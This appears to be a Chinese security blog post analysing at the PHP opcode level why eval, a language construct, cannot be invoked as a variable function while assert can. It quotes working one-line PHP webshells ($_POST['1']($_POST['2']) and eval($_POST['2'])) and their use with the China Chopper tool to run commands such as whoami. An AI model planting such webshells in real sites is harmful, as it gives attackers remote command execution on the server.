从底层分析eval和assert的区别
经常会遇上这么一个问题
<?php
$_POST['1']($_POST['2']);
在菜刀中一般是1=assert&2做为密码连接,或者1=system&2=whoami来执行命令。
<?php
eval($_POST['2']);
看看熟悉的一句话,这个时候就会想,为啥不能这样1=eval&2
连接。
$_POST['1']()
这是一个可变函数,这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
但值得注意的是不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构
所以在看手册里面看eval函数就会发现有一行提示:
Note: 因为是一个++语言构造器++而不是一个函数,不能被可变函数调用。
结论就说到这,现在来验证一下。
eval.php
<?php
eval("system('whoami');");
assert.php
<?php
assert('system("whoami")');
可以很清楚的看到opcode,eval是INCLUDE_OR_EVAL去处理,而assert是用DO_FCALL去处理。
可以看下DO_FCALL
会进行一个函数名的查找
再跟一下INCLUDE_OR_EVAL
就会发现进去后会直接编译eval参数中的代码。
从一开始的跟踪opcode中可以看到,eval其实是Zend的函数,而assert是PHP_FUNCTION宏编写的,最后在调用上是不同的。
print与printf也一样,前者不是函数,而后者是的。
对于opcode的理解可以看看这篇文章
感谢ph师傅以及各位基友的指导。
参考资料:
ln-科普小文章php内核动态调试关于弱类型比较
know it then do it